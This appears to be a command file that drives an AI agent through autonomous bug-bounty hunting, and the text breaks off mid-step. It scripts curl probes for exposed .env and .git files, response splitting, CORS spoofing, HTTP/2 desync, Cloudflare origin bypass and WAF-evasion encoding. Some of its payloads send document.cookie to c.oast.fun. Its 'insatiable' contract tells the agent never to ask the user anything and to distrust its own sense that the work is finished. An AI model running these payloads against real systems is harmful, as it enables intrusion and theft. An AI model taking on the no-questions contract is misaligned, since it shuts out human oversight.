Autopilot

Autonomous hunt on: $ARGUMENTS

Parse flags from arguments:

• --interactive (default): Pause after each validated finding for user review
• --autonomous: Fully autonomous — no pauses, never auto-submits, produces ready-to-submit reports
• --20m-off: Disable 20-minute rotation timer on hunters
• --resume: Continue from previous session (read brain state for progress)

ALL agents dispatched by this command MUST use model: "inherit" in the Agent tool call.

SETUP

1. Read rules/hunting.md AND rules/mistakes.md — both active throughout. mistakes.md lists lessons from real engagements ("Top 10 Most Common Mistakes" first); inject the Top 10 block into every subagent preamble because agents repeat these without the reminder.
2. Read scope.yaml — verify all targets are in scope
3. Read policy.md — extract ALL actionable constraints into a policy preamble:
   • Required HTTP headers (X-Bug-Bounty, User-Agent, custom tracking headers)
   • Account creation rules (email domain, naming conventions, company format)
   • Test environment setup (own instances, test properties, sandboxes)
   • Prohibited actions (DoS, social engineering, accessing customer data)
   • Rate limiting expectations
   • N-day waiting periods, shared responsibility exclusions
   • Credential usage restrictions
   • ANY other program-specific requirements
4. Format the policy preamble — this block is injected into EVERY agent dispatch:

   POLICY CONSTRAINTS (VIOLATION = DISQUALIFICATION/BAN):
   SCOPE AND POLICY MUST BE OBEYED AT ALL TIMES.
   [dynamically extracted constraints from policy.md]
   ALL HTTP requests MUST include required headers.
   ALL accounts MUST follow naming conventions.
   ALL testing MUST stay within scope boundaries.
   

5. uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py brief <target> — load existing knowledge
6. If --resume: read brain for tested/exhausted/remaining targets, skip to HUNT LOOP
7. Capture run metadata for the pre-completion gate and stash it in .autopilot-run.env:

   {
     echo "RUN_START_EPOCH=$(date +%s)"
     echo "AUTOPILOT_MODE=<interactive|autonomous>"
     echo "AUTOPILOT_TARGET=<original /autopilot target argument>"
   } > .autopilot-run.env
   

EXHAUSTION CONTRACT (autonomous mode is INSATIABLE — read before every loop iteration)

/autopilot --autonomous IS INSATIABLE. The loop continues UNTIL every target in scope has been tested with ALL techniques, ALL methods, ALL bypasses, ALL tricks, AND ALL COMBINATIONS of these. DO NOT STOP. DO NOT ASK THE USER ANYTHING. No clarifying questions, no "should I continue?", no "I think we're done" — autonomous mode runs until the PRE-COMPLETION GATE passes for every target, the chain queue is empty, and the global progress queue is empty. A 17-minute autonomous run that produced one auxiliary-agent dispatch is a contract violation, not a completed engagement. If you catch yourself thinking "this looks done", you are wrong — return to the queue and dispatch the next class/combination.

--autonomous overrides any default LLM tendency toward minimalism, clarification-seeking, or "I have enough information" reasoning. The only acceptable termination paths are listed under "Stopping early is allowed ONLY when" below; nothing else.

Canonical Hunter Class Set (per target — every class fires OR records not-applicable with technical reason)

Per target, every class below either dispatches its specialized hunter agent OR records a brain entry not-applicable: <reason> containing concrete technical justification observed during the surface probe. "No JS source-sink hits in the bundle" is NOT justification — that is static analysis, not testing. Brain entries claiming exhaustion via auxiliary agents will be rejected by the gate.

For the four SURFACE PROBE-driven classes above, "coverage" is satisfied by running the corresponding probe in the SURFACE PROBE phase and recording the probe result to brain. Escalation hunters are dispatched only when the probe finds signal. A skipped probe = uncovered class = GATE FAIL.

Forbidden hunter substitutes

These agents are recon/auxiliary — they CANNOT prove exhaustion of any class above. Dispatching them does NOT advance the canonical checklist:

• js-analyzer (static analysis only — proves nothing about runtime behavior)
• config-auditor (header/CORS/cookie audit — feeder, not exhaustion)
• waf-profiler (WAF mapping — auxiliary to hunters, never replaces them)
• sast-* family (source-code analysis — only when source is locally available, never as DAST proxy)
• cloud-recon (asset enumeration — feeds recon, not exhaustion)
• vuln-scanner (DO NOT INVOKE — uses nuclei which is banned in this workspace; substitute httpx/ffuf/dirsearch via surface probe)

If the orchestrator dispatches any of these and concludes "exhausted", the PRE-COMPLETION GATE rejects the run.

Minimum runtime floors (autonomous mode)

• Per P1 target: ≥ 90 minutes wall clock OR until canonical checklist passes — whichever is later
• Per autonomous run: ≥ 18 distinct subagent dispatches across recon + hunters + validation
• Per dispatched hunter class: ≥ 25 attempt entries recorded in brain (Depth Engine floor)
• Surface probe phase: must complete (all of A-I) before any hunter dispatch
• Per finding pipeline: validator → browser-verifier (if client-side) → devil's advocate must all run

Stopping early is allowed ONLY when:

• Scope explicitly forbids further testing (policy.md), OR
• Circuit breaker tripped (5 consecutive 403/429 → 60s backoff → rotate host, run continues elsewhere), OR
• Context budget exhausted (> 60% used → checkpoint and request --resume), OR
• The PRE-COMPLETION GATE passes.

RECON (skip if recon/ data < 7 days old)

7. Dispatch recon agent (model: inherit) with policy preamble
8. Brain update: uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record <target> recon "<new endpoints, subdomains, tech stack>" "<recon summary>"
9. Increment subagent counter
10. Active recon depth (gated — every artifact below blocks completion unless a recon-skip:<id> policy:<clause> brain entry cites the policy clause that forbids it):
    • DNS brute-force with a region-aware wordlist into recon/dns-bruteforce.txt. Don't ship "passive only" — passive misses novel-named hosts (prod-s0-milli-vanilli, prod-s0-telefonista).
    • Public archive sweep into recon/urlscan-cdx.json (urlscan + Wayback CDX) and recon/public-archives.txt (any other archive hits). Pull historical URL inventory.
    • GitHub code search into recon/github-code.json. Query each in-scope domain for leaked endpoints, secrets, configs.
    • Mobile decompile if scope.yaml lists any mobile asset / package: pull APK/IPA, decompile, extract endpoints into recon/mobile/<package>.endpoints.txt. Mobile reveals endpoints the web surface never exposes.
    • To skip any of the above for genuine policy reasons, record: uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record <target> recon "recon-skip:<id> policy:<clause>" "<rationale>"

WAF/CF DETECTION (run once per target, cache in brain)

10. Detect WAF and CF protection across live hosts:

    for host in $(cat recon/live-hosts.txt | head -20); do
      WAF=$(curl -sI "$host" 2>/dev/null | grep -iE "cf-ray|cloudflare|x-sucuri|x-akamai|x-datadome|server: awselb" | head -1)
      [ -n "$WAF" ] && echo "$host: $WAF"
    done
    

11. Record WAF map in brain: uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record <target> waf-map "<host→waf mappings>" "<counts by waf vendor>"
12. If ANY hosts are CF-protected:
    • Start camofox: $CLAUDE_PROJECT_DIR/tools/camofox_ctl.sh status || $CLAUDE_PROJECT_DIR/tools/camofox_ctl.sh start
    • Verify stealth: check /health shows browserRunning: true
    • Record in brain: camofox: running
    • CF-protected hosts are P1 in ranking (less competition, stealth browser gives us edge)

RANK

13. Dispatch recon-ranker agent (model: inherit) with:
    • Recon data + brain knowledge
    • WAF map (so ranker can factor CF-protection into P1/P2/Kill decisions)
    • Instruction: "CF-protected hosts WITH camofox available = P1 (competitive advantage). CF-protected hosts WITHOUT stealth browser = P2."
14. Parse P1/P2/Kill list from agent output
15. Brain update with ranking results
16. Increment subagent counter

SURFACE PROBE (mandatory for every P1 host before HUNT LOOP — no agent dispatch, just curl)

The surface probe runs CHEAP inline curl-based checks (no agent dispatch needed) to map dimensions hunter agents do not auto-discover. Every probe either becomes a hunter dispatch with concrete payload OR is recorded to brain as a coverage entry. This phase MUST run for every P1 host (every host marked P1 in ATTACK_SURFACE_RANKING.md AND every novel-named live host per Rule 30) before any hunter is dispatched. Refusing to run it is a PRE-COMPLETION GATE fail.

The loop is per-HOST, not per-TARGET. A wildcard target like *.example.com decomposes into N live hosts, each of which gets its own evidence/<host>/surface/ directory and its own A-I run. Cross-host inference ("BR was hardened so CO is too") is forbidden by Rule 30 — every host produces its own probe artifacts.

# Build the P1 host list
P1_HOSTS=$(awk '/^P1[: ]/{print $2}' ATTACK_SURFACE_RANKING.md \
            || cat recon/p1-hosts.txt 2>/dev/null \
            || cat recon/live-hosts.txt)

for TARGET in $P1_HOSTS; do
  mkdir -p "evidence/$TARGET/surface"
  # ... run A-I below with this TARGET ...
done

Inside the per-host loop, perform A through I in order. Save raw output to evidence/$TARGET/surface/ (the directory is created above). After I completes, write the per-host completion marker (see "Persist surface completion" at the end of this section).

A. Path / file enumeration

TARGET="<host>"  # replace with the host being probed
mkdir -p "evidence/$TARGET/surface"
for path in robots.txt sitemap.xml security.txt humans.txt \
            .well-known/security.txt .well-known/openid-configuration \
            .well-known/jwks.json .well-known/oauth-authorization-server \
            .well-known/webfinger .well-known/host-meta \
            .well-known/change-password .well-known/assetlinks.json \
            .well-known/apple-app-site-association \
            .git/config .git/HEAD .env .env.local .env.production \
            crossdomain.xml clientaccesspolicy.xml \
            CHANGELOG.md README.md package.json composer.json \
            yarn.lock package-lock.json \
            __nextjs_original-stack-frame _next/static/chunks/webpack.js \
            api/ admin/ _admin/ api/v1/ api/v2/ api/internal/ \
            api/admin/ auth/ oauth/ saml/ graphql v1/ v2/ \
            internal/ _internal/ debug/ status/ health/ \
            metrics actuator actuator/health server-status \
            wp-admin/ wp-login.php phpmyadmin/ console/; do
  curl -s -o /dev/null -w "$path %{http_code} %{size_download}\n" \
    "https://$TARGET/$path"
done | tee evidence/$TARGET/surface/discovery.txt

If Next.js detected, enumerate _next/data:

BUILD_ID=$(curl -s "https://$TARGET/" \
  | grep -oE '"buildId":"[^"]+"' \
  | head -1 \
  | cut -d'"' -f4)
[ -z "$BUILD_ID" ] && BUILD_ID=$(curl -s "https://$TARGET/" \
  | grep -oE '_next/static/[a-zA-Z0-9_-]{6,}/' | head -1 \
  | cut -d'/' -f3)
for page in index sandbox stores/create stores login dashboard \
            admin profile settings billing api/auth/me; do
  curl -s -o /dev/null -w "_next/data/$BUILD_ID/$page.json %{http_code}\n" \
    "https://$TARGET/_next/data/$BUILD_ID/$page.json"
done | tee -a evidence/$TARGET/surface/discovery.txt

Record any 200/301/302/401/403 (anything non-404) as ATTACK SURFACE for hunter dispatch. A 401 on /api/admin/ is a P1 — not a 404.

B. HTTP method matrix per discovered path

For every path that returned 200/301/302/401/403:

: > "evidence/$TARGET/surface/method-matrix.txt"
awk '$2 ~ /^(200|201|204|301|302|303|307|308|401|403)$/ {print $1}' \
  "evidence/$TARGET/surface/discovery.txt" | sort -u | while read -r PATH; do
  for METHOD in OPTIONS HEAD GET POST PUT PATCH DELETE TRACE CONNECT \
                PROPFIND COPY MOVE MKCOL LOCK UNLOCK; do
    curl -s -o /dev/null -w "$METHOD $PATH: %{http_code} %{size_download}\n" \
      -X $METHOD "https://$TARGET/$PATH"
  done
done | tee -a "evidence/$TARGET/surface/method-matrix.txt"

Method-specific 200/302/500 (vs. 405 elsewhere) = method confusion or hidden verb routing → DISPATCH auth-tester (subtype: methods) and idor-hunter with explicit verb list.

C. Cache deception probes

for path_variant in "/profile.css" "/profile.js" "/profile.png" \
                    "/profile/index.css" "/profile;.css" "/profile%23.css" \
                    "/profile?ext=.css" "/profile/../profile.css" \
                    "/profile.css/" "/profile//.css" \
                    "/api/me.css" "/dashboard.json"; do
  RESP=$(curl -sI "https://$TARGET$path_variant" \
    -H "Cookie: session=test" \
    | grep -iE "cache-control|cf-cache-status|x-cache|age|content-type")
  echo "$path_variant: $RESP"
done | tee evidence/$TARGET/surface/cache-deception.txt

Sensitive content body returned with cf-cache-status: HIT or age: > 0 after a cookie request → web cache deception confirmed → DISPATCH auth-tester (subtype: cache) for poisoning verification.

D. Response header / response splitting probes

for vec in "%0d%0aSet-Cookie:%20pwn=1" \
           "%0aLocation:%20//evil.tld" \
           "%E5%98%8A%E5%98%8DSet-Cookie:%20pwn=1" \
           "%0d%0aX-XSS-Protection:%200%0d%0a"; do
  for param in next returnTo url to callback continue rd dest redirect; do
    curl -sI "https://$TARGET/?$param=$vec" \
      | grep -iE "set-cookie|location|x-xss"
  done
  curl -sI "https://$TARGET/$vec/" | grep -iE "set-cookie|location"
done | tee evidence/$TARGET/surface/header-injection.txt

Any injected Set-Cookie or unsafe Location reflection → DISPATCH auth-tester (subtype: response-splitting) and record open-redirect candidate for chain-builder.

E. CORS preflight matrix

for origin in "https://evil.tld" "null" "https://$TARGET.evil.tld" \
              "http://$TARGET" "https://attacker.$TARGET" \
              "https://${TARGET}.attacker.tld" "file://" \
              "https://evil.tld%60.${TARGET}" "https://${TARGET}%23.evil.tld"; do
  for path in / api/ api/v1/ api/me api/user graphql auth/me; do
    curl -sI -X OPTIONS "https://$TARGET/$path" \
      -H "Origin: $origin" \
      -H "Access-Control-Request-Method: GET" \
      -H "Access-Control-Request-Headers: authorization,content-type" \
      | grep -iE "access-control-allow"
  done
done | tee evidence/$TARGET/surface/cors-matrix.txt

Any allow-origin reflecting attacker origin AND allow-credentials: true → DISPATCH cors-hunter immediately.

F. HTTP/2 desync indicators

{
  curl --http2 -sI "https://$TARGET/" \
    -H "Transfer-Encoding: chunked" -H "Content-Length: 0"
  curl --http2-prior-knowledge -sI "https://$TARGET/" \
    -H "Connection: close"
  curl --http2 -sI "https://$TARGET/" \
    -H "Transfer-Encoding: chunked, identity"
  curl --http2 -s "https://$TARGET/" \
    -H "Content-Length: 0" -H "Content-Length: 5" -X POST -d 'X'
} | tee "evidence/$TARGET/surface/h2-desync.txt"

Mismatched content-length vs transfer-encoding handling, 421 Misdirected Request, or 400 with body marker leakage → DISPATCH auth-tester (subtype: smuggling) with desync template.

G. Subdomain takeover on the target itself

{
  dig +short CNAME $TARGET
  HOST_RESP=$(curl -sI "https://$TARGET/" 2>&1)
  echo "$HOST_RESP" \
    | grep -iE "no such bucket|repository not found|domain not configured|herokuapp|github\.io|s3-website|trafficmanager|cloudfront|fastly|netlify|surge.sh|readme\.io|helpjuice|tumblr|unbouncepages|wpengine"
} | tee "evidence/$TARGET/surface/takeover.txt"

Any vendor "no such resource" pattern → DISPATCH subdomain-takeover with the dangling pointer.

H. Cloudflare-specific probes (only if CF detected)

{
  curl -sI "https://$TARGET/" -H "Accept-Encoding: gzip" | grep -iE "cf-cache|vary"
  curl -sI "https://$TARGET/" -H "Accept-Encoding: deflate" | grep -iE "cf-cache|vary"
  curl -s "https://$TARGET/" -H "CF-Connecting-IP: 127.0.0.1" \
    -o /dev/null -w "%{http_code}\n"
  curl -s "https://$TARGET/" -H "X-Forwarded-For: 127.0.0.1" \
    -o /dev/null -w "%{http_code}\n"
  ORIGIN_IP=$(dig +short $TARGET | head -1)
  curl -sk "https://$ORIGIN_IP/" -H "Host: $TARGET" \
    -o /dev/null -w "Direct origin: %{http_code}\n"
  # CF cache key smuggling via Range
  curl -sI "https://$TARGET/" -H "Range: bytes=0-0" | grep -iE "cf-cache|content-range"
} | tee "evidence/$TARGET/surface/cloudflare.txt"

Cache poisoning via Vary, CF-Connecting-IP trust, direct-origin reach, or Range smuggling → record candidates and DISPATCH appropriate hunter.

I. SPA / hash routing seeds (rotate detection tokens — Rule 28)

Detection-token rotation: never rely on alert(1) alone. The probe values below walk the rotation ladder so a target that filters alert but not prompt/title/preload still produces a reflection signal.

for param in next redirect returnTo url to callback continue rd \
             destination ref source state code id_token; do
  for value in \
      "//evil.tld" \
      "javascript:alert(1)" \
      "javascript:prompt(1)" \
      "javascript:confirm(document.domain)" \
      "javascript:document.title='XSS-AAB123'" \
      "javascript:fetch('//c.oast.fun/?'+document.cookie)" \
      "javascript:new%20Image().src='//c.oast.fun/?'%2bdocument.cookie" \
      "javascript:top[8680439..toString(30)](1)" \
      "javascript:window['ale'+'rt'](1)" \
      "javascript:self[atob('YWxlcnQ=')](1)" \
      "data:text/html,<svg/onload=fetch('//c.oast.fun/?d')>" \
      "data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+" \
      "https://$TARGET@evil.tld" \
      "%2F%2Fevil.tld" \
      "/%2F/evil.tld" \
      "//evil.tld%23.${TARGET}"; do
    curl -s "https://$TARGET/?$param=$value" \
      -o "evidence/$TARGET/surface/route-$param-$(echo "$value" | md5sum | cut -c1-6).html" \
      -w "$param=$value: %{http_code} %{size_download} %{redirect_url}\n"
  done
done | tee "evidence/$TARGET/surface/spa-routing.txt"

Reflected param value in HTML/JS, 30x to attacker host, or any javascript: URI accepted in Location: → seed for xss-hunter, open-redirect, and oauth-hunter dispatch. The hunter prompt MUST forward the rotation ladder so it doesn't re-test only alert(1).

Persist surface completion + per-probe coverage

After all of A-I complete on a host, write the per-host completion marker AND the surface-driven class coverage records via the structured writer. Both are per-host artifacts the gate keys off; missing either fails completion:

# Per-host completion marker — gate requires this for every P1 host AND
# requires every required artifact mtime <= the marker's mtime, so writing
# this BEFORE the artifacts have all been produced will trip the gate.
date -u +"%Y-%m-%dT%H:%M:%SZ" > "evidence/$TARGET/surface/.complete"

# Surface-probe-driven classes: each gets its own coverage entry so the
# gate's class-coverage check finds it. Use the structured writer (NOT
# bare brain.py) — writer signs off on the JSON shape the gate prefers.

for CLASS_PROBE in \
    "cache-deception:cache-deception.txt" \
    "header-injection:header-injection.txt" \
    "h2-desync:h2-desync.txt" \
    "method-confusion:method-matrix.txt"; do
  CLASS="${CLASS_PROBE%:*}"
  PROBE="${CLASS_PROBE##*:}"
  # Pick one of: no-signal | signal:<details> | candidate-dispatched:<hunter>
  STATUS="no-signal"  # set per actual probe outcome, e.g. "candidate-dispatched:cors-hunter"
  uv run python3 $CLAUDE_PROJECT_DIR/tools/coverage_record.py \
    --host "$TARGET" --class "$CLASS" \
    --surface-status "$STATUS" \
    --evidence "evidence/$TARGET/surface/$PROBE"
done

# Master surface entry (markdown is fine here — this is informational, not
# a coverage gate input)
uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record "$TARGET" recon "surface-probe" \
  "discovery:<count non-404>; methods:<count anomalies>; cache-deception:<results>; \
   response-splitting:<results>; cors-perms:<results>; h2-desync:<results>; \
   takeover:<results>; cf-quirks:<results>; spa-routing:<results>"

# Unauthenticated state-change anomalies — for every POST/PUT/PATCH/DELETE
# that returned 2xx/3xx in method-matrix.txt, record an unauth-write marker.
# The hard gate auto-detects these from the surface artifact too, but the
# brain marker triggers the adversarial battery dispatch below.
awk '
  $1 ~ /^(POST|PUT|PATCH|DELETE)$/ &&
  $3 ~ /^(200|201|202|204|301|302|303|307|308)/ {
    sub(/:$/, "", $2); print $1, $2, $3
  }' "evidence/$TARGET/surface/method-matrix.txt" \
| while read -r METHOD PATH STATUS; do
    uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record "$TARGET" recon \
      "unauth-write:$PATH" \
      "method:$METHOD; status:$STATUS; evidence:evidence/$TARGET/surface/method-matrix.txt"
  done

Refusing to run any of A-I before HUNT LOOP is a PRE-COMPLETION GATE fail. Any 200/301/302/401/403 the probe finds becomes a hunter dispatch input — the orchestrator MUST seed step 22's hunter prompts with the discovered surface, not just the homepage URL.

UNAUTH STATE-CHANGE BATTERY (mandatory follow-up)

Every unauth-write:<path> marker recorded above blocks completion until its sibling adversarial-battery:<path> entry exists with attempts ≥ 10 across the five required dimensions. An unauthenticated 2xx/3xx on POST/PUT/PATCH/DELETE that the autopilot walks away from is the failure mode this contract was written to prevent. For each marker:

1. Build the battery evidence file evidence/$TARGET/battery-<slug>.jsonl where <slug> is the path with / replaced by -.
2. Dispatch the relevant hunters in parallel (model: inherit), each appending its results to that JSONL:
   • business-logic — mass-assignment, applicant-id collision, status manipulation, currency / price coercion
   • xss-hunter (subtype: stored) — payload injection in every JSON field with rotation ladder per Rule 28
   • ssti-hunter — when the path or surrounding service hints at templates/rules engines (rule-engine, comment, message, render, template names, Clojure/Jinja/Velocity/Twig/Freemarker fingerprints)
   • race-condition — replay the endpoint in parallel with state-mutation queries
   • chain-builder — extract rules/chain-table.md anchors for the resulting capability and probe the next links
3. After hunters return, record the battery result via the structured writer of choice. The brain marker MUST cover every dimension:

   uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record "$TARGET" recon \
     "adversarial-battery:$PATH" \
     "attempts:<≥10>; mass-assignment:<done|signal:<details>>; \
      payload-fields:<done|signal>; id-collision:<done|signal>; \
      race:<done|signal>; chain-anchors:<done|signal:<which-anchor>>; \
      evidence:evidence/$TARGET/battery-<slug>.jsonl"
   

4. If any hunter surfaces a confirmed finding, run it through the FINDING PIPELINE (Gate 1/2/3) before continuing. Battery completion does not replace per-finding validation.

HUNT LOOP (for each P1 target)

17. uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py brief <target> — what's tested on this target?
18. Tech stack detection:

    curl -sI https://<target> | grep -iE "server|x-powered-by|x-aspnet|x-runtime|x-generator"
    

19. Check WAF status from brain for this specific host
20. Build autonomous class hypotheses (MANDATORY):

    uv run python3 $CLAUDE_PROJECT_DIR/tools/intel_engine.py classes \
      --tech-stack "<detected stack + recon hints>" \
      --target <target> \
      --limit 8 \
      --telemetry-path .autonomy-telemetry.json \
      --output CLASS_HYPOTHESES.md
    

    Use the ranked output to decide vuln class dispatch order.
21. Allocate autonomous class budgets (MANDATORY):

    uv run python3 $CLAUDE_PROJECT_DIR/tools/intel_engine.py budget \
      --tech-stack "<detected stack + recon hints>" \
      --target <target> \
      --total-minutes 120 \
      --total-tokens 30000 \
      --telemetry-path .autonomy-telemetry.json \
      --output CLASS_BUDGET.md
    

    Use this budget when deciding how many rounds to spend per vuln class.

DEPTH ENGINE (mandatory before marking any class exhausted)

Autopilot runs deeper than a single-payload probe. Before any hunter dispatch and after every hunter return, the following anti-shallow rules are in force:

1. Variant matrix first. For the endpoint and vuln class, build the matrix method × content-type × auth-state × parser-confusion × encoding × transport before sending the first request. Call uv run python3 $CLAUDE_PROJECT_DIR/tools/intel_engine.py matrix <class> to seed it where a profile exists.

2. Baseline controls. Send a known-benign probe and a known-malicious probe first so bypasses are measured against a calibrated response delta.

3. Minimum-attempt floor: 25 distinct attempts per endpoint/class before any "exhausted" verdict, unless a hard policy/scope/WAF block is proven with level-by-level evidence.

4. Encoding ladder per payload. raw → url → double-url → unicode escapes → html entities → mixed-case / separator insertion. Keep the semantic payload constant across the ladder. Then stack encodings in a single payload — WAFs typically decode once, targets decode twice. Try at minimum: html-entity then url (%26lt%3Bscript%26gt%3B), url then double-url (%253Cscript%253E), unicode-escape then url (%5Cu003cscript%5Cu003e), and base64 inside url-encoded data URI. Log which decoding order the target actually applies.

5. Parser-differential tricks. Duplicate params, array/object coercion, JSON vs form-body drift, HTTP parameter pollution, alternate delimiters.

6. Auth-state rotation. unauth + low-priv user A + low-priv user B + high-priv (if available) + expired token + stale session + cross-tenant. Compare status, body length, markers, and timing — not just status codes.

7. Sequence / state-machine abuse. For workflow endpoints (billing, approvals, profile updates, idempotency keys), replay, race, duplicate, and reorder state transitions to catch business-logic and race bugs.

8. Combination pass. At least 8 combined variants per endpoint. Cross dimensions (encoding + method override, parser-confusion + alt content-type, HPP + JSON/form drift) AND stack within dimensions (url + html-entity in the same payload, url + unicode, double-url + html-entity). Layered encodings defeat WAFs whose decoder runs once.

9. Cross-endpoint replay. Every payload that fires (even partially) on endpoint A is replayed on every sibling endpoint under the same router before the branch is abandoned. This is Rule 8 of rules/hunting.md.

10. Second-opinion dispatch. Any candidate that survives the first hunter as "potential" must trigger one different specialist (e.g. dast-devils-advocate or a sibling hunter) for adversarial confirmation or kill decision.

11. Exhaustion ledger quality bar. Every exhausted record must include variants_tried, dimensions_covered, and exact_blocker. A generic "no vuln" entry is invalid and will be re-dispatched.

12. Coverage persisted in brain via the structured writer. Hunters do NOT write coverage-<class> markdown directly anymore — the gate rejects bare markers. Use the structured writer, which calls the exhaustion gate first and only writes if it passes:

    # dispatched class — most classes
    uv run python3 $CLAUDE_PROJECT_DIR/tools/coverage_record.py \
      --host <host> --class <class> \
      --attempts <N≥25> --variants <M> --combos-tested <T> --combos-remaining 0 \
      --encoding-steps <≥3> --differential-evidence \
      --blocker "<≥20-char concrete technical reason>" \
      --evidence evidence/<host>/coverage/<class>-attempts.jsonl
    
    # surface-driven class — cache-deception, header-injection, h2-desync, method-confusion
    uv run python3 $CLAUDE_PROJECT_DIR/tools/coverage_record.py \
      --host <host> --class <class> \
      --surface-status "no-signal|signal:<details>|candidate-dispatched:<hunter>" \
      --evidence evidence/<host>/surface/<probe>.txt
    

    The writer creates evidence/<host>/coverage/<class>.json and appends a coverage-<class> brain entry pointing at it. The hard gate prefers the JSON over the markdown line for substance checks.

13. Iterate the Canonical Hunter Class Set (see EXHAUSTION CONTRACT — 26 classes). For each class, you MUST either dispatch its specialized hunter OR record a not-applicable: <class> brain entry citing concrete surface-probe evidence (e.g., "no XML parsing surface — surface probe A returned no SOAP/SVG/SAML endpoints"). Auxiliary agents (js-analyzer, config-auditor, waf-profiler, sast-*, cloud-recon, vuln-scanner) DO NOT count toward class coverage — dispatch them only as feeders to actual hunters.

    Dispatch up to 3 hunters in parallel. Order priority by: a. Surface probe seeds — e.g., wildcard Access-Control-Allow-Origin → cors-hunter first; CF-Connecting-IP trust → auth-tester first; reflected returnTo → open-redirect + oauth-hunter first. b. Tech stack signals — GraphQL endpoint → graphql-audit early; Next.js Server Actions surface → ssrf-hunter early; chatbot/RAG/MCP → llm-ai-hunter early. c. Crown-jewel proximity — tenant boundaries / billing / admin / OAuth / file ingestion / AI tool execution = highest-CVSS chains. d. Default sequence: idor → auth-bypass → xss-reflected → xss-stored → xss-dom → ssrf → sqli → oauth → open-redirect → cors → csrf → info-disclosure → race-condition → business-logic → privilege-escalation → file-upload → ssti → rce → xxe → graphql → llm-ai → subdomain-takeover → cache-deception → header-injection → h2-desync → method-confusion.

    Continue iterating UNTIL every class either has a hunter dispatch or a not-applicable record. Do NOT exit step 22 early — the orchestrator cannot decide "the rest are obviously not applicable" without surface- probe evidence backing each not-applicable.

    For the dispatched class: a. Writeup intelligence (ENFORCED — do this before EVERY hunter dispatch):

    • Call search_techniques MCP tool for the vuln class
    • Call search_payloads MCP tool for the vuln class
    • If MCP unavailable, read rules/payloads.md as fallback
    • Include results in the hunter prompt b. WAF-aware hunter prompt (ENFORCED when WAF detected on target): Include in every hunter dispatch for WAF-protected targets:

    WAF DETECTED: <waf_name> on this target.
    Read `rules/waf-bypass-protocol.md` AND `rules/payloads.md` (WAF bypass
    sections). Work through ALL 7 bypass levels systematically — ≥3 payloads
    per level before moving to the next. Do NOT give up after 3-5 generic
    payloads; that is the starting condition for the protocol, not the end.
    Combine levels when one gets through partially (L1 encoding + L2 tag,
    L2 tag + L4 keyword obfuscation, etc.).
    Time box: 20 minutes on WAF bypass per endpoint.
    Record per-level results in your output: which bypasses got blocked, which
    got through, and what the response differentials looked like.
    
    Never-valid verdicts (your output will be rejected if it contains these):
    - "WAF blocks <payload>" without a level-by-level record
    - "not vulnerable — WAF blocks attempts"
    - "curl returns 403 so the endpoint is not vulnerable"
    

    c. Dispatch specialized hunter agent (model: inherit) with:

    • Policy preamble
    • Writeup intelligence (techniques + payloads)
    • Variant matrix (from Depth Engine step 1) + explicit requirement: "Do NOT stop at single-vector probes. Exhaust the matrix including combinations. Minimum 25 distinct attempts before any 'exhausted' verdict unless a policy/scope/WAF block is proven."
    • WAF context (type + bypass instructions if applicable)
    • Brain context (tested vectors, tech stack, known endpoints)
    • Scope boundaries
    • If --20m-off NOT set: "Time-box: 20 minutes. If no progress after 20 min, stop and report what you tested."
    • Chain-anchor preamble (MANDATORY for feeder vuln-classes): If the dispatched class is in the feeder list — open-redirect, cors, info-disclosure, csrf, subdomain-takeover, xxe, file-upload, race-condition, business-logic, privilege-escalation — extract that class's anchors from rules/chain-table.md "Per-Class Chain Anchors" section and prepend this directive verbatim to the agent prompt:

      CHAIN-ANCHOR DIRECTIVE — this finding class sells low/N-A standalone.
      After confirming the bug, you MUST probe these chain anchors before
      declaring the finding complete:
      [paste the 3-5 anchors for the class from chain-table.md]
      If any anchor returns signal → label finding CHAIN-CANDIDATE in brain
      and STOP. Do not write a single-bug report. Autopilot will dispatch
      chain-builder. If all anchors fail → finding is informational; apply
      rules/never-submit.md. The chain is the report.
      

    d. After hunter returns:

    • Parse output for findings, tested endpoints, exhausted techniques, AND matrix coverage percentage. Reject shallow results: <25 attempts, <3 encoding-ladder steps, or missing differential evidence → re-dispatch same class with stricter instructions.
    • Run exhaustion gate before honoring any "exhausted" verdict:

      uv run python3 $CLAUDE_PROJECT_DIR/tools/intel_engine.py exhaustion-gate \
        --attempts <count> \
        --combos-tested <count> \
        --combos-remaining <count> \
        --encoding-steps <count> \
        --differential-evidence
      

      If this command fails, do NOT mark exhausted — re-dispatch deeper.
    • If hunter signals a DIFFERENT vuln class → adaptive re-search: Call search_techniques + search_payloads for the new class → dispatch appropriate specialized hunter with new intelligence
    • Brain update for findings/exhausted entries: uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record <target> <status> "<technique>" "<details>"
    • Coverage update — use the structured writer, NOT bare brain.py:

      uv run python3 $CLAUDE_PROJECT_DIR/tools/coverage_record.py \
        --host <host> --class <class> [dispatched flags OR --surface-status ...] \
        --evidence evidence/<host>/coverage/<class>-attempts.jsonl
      

      Refusal from coverage_record.py = stay in the loop, deepen the matrix.
    • If hunter reports WAF bypass results: uv run python3 $CLAUDE_PROJECT_DIR/tools/brain.py record <target> waf-bypass "<level: result pairs>" "<bypass details>"
    • If a "potential" finding surfaces, dispatch a second-opinion specialist (dast-devils-advocate, or a sibling hunter) BEFORE advancing to the FINDING PIPELINE.
    • Record telemetry for reprioritization:

      uv run python3 $CLAUDE_PROJECT_DIR/tools/intel_engine.py record-outcome \
        --vuln-class "<class>" \
        --result "<confirmed|killed|downgraded|partial>" \
        --attempts <count> \
        --elapsed-minutes <minutes> \
        --telemetry-path .autonomy-telemetry.json
      

    • Increment subagent counter

14. CHAIN-PRESSURE CHECK (every subagent completion): The chain_pressure_hook.py SubagentStop hook scans findings.json after every agent run and writes .claude/agent-memory-local/chain-pending.md if any feeder findings (open-redirect, CORS, info-disclosure, CSRF,

…(truncated)